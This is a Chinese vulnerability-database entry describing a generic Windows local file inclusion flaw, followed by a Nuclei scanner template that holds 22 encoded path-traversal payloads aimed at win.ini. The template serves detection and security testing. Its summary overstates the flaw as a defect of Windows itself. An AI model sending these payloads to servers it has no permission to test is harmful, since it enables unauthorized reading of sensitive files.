Windows - Local File Inclusion

漏洞信息

漏洞名称： Windows - Local File Inclusion

漏洞类型： 文件读取

漏洞等级： 高危

漏洞描述： Windows操作系统存在本地文件包含漏洞，攻击者可以通过构造特定的URL路径，利用该漏洞读取服务器上的敏感文件，如/windows/win.ini。该漏洞的根源在于Windows系统对URL路径的处理不当，未能正确验证和限制用户输入的路径，导致攻击者可以通过目录遍历技术访问系统上的任意文件。这种漏洞通常发生在Web应用程序中，当应用程序动态包含文件时，没有对用户输入进行严格的过滤和验证。攻击者利用此漏洞可以读取服务器上的敏感信息，如配置文件、密码文件等，严重时可能导致系统被完全控制。由于该漏洞不需要用户认证即可利用，且攻击方式简单，因此被评级为高危漏洞。

产品厂商： Microsoft

产品名称： Windows

来源： https://github.com/projectdiscovery/nuclei-templates/blob/b7c60754265d41e02af8d5ea7c8a40acba9a6233/http%2Fvulnerabilities%2Fgeneric%2Fgeneric-windows-lfi.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: generic-windows-lfi

info:
  name: Windows - Local File Inclusion
  author: mesaglio,sushantkamble,ritikchaddha
  severity: high
  description: |
    Windows is vulnerable to local file inclusion because of searches for /windows/win.ini on passed URLs.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 22
  tags: azure,windows,lfi,generic

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini"
        - "/./../../../../../../../../../../windows/win.ini"
        - "/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini"
        - "/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini"
        - "/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini"
        - "/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
        - "/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/..///////..////..//////windows/win.ini"
        - "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00"
        - "/index.php?page=windows/win.ini"
        - "/index.php?page=windows/win.ini%00"
        - "/index.php?page=../../windows/win.ini"
        - "/index.php?page=....//....//windows/win.ini"
        - "/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini"
        - "/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini"
        - "/../../../../../../../../../windows/win.ini"
        - "/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
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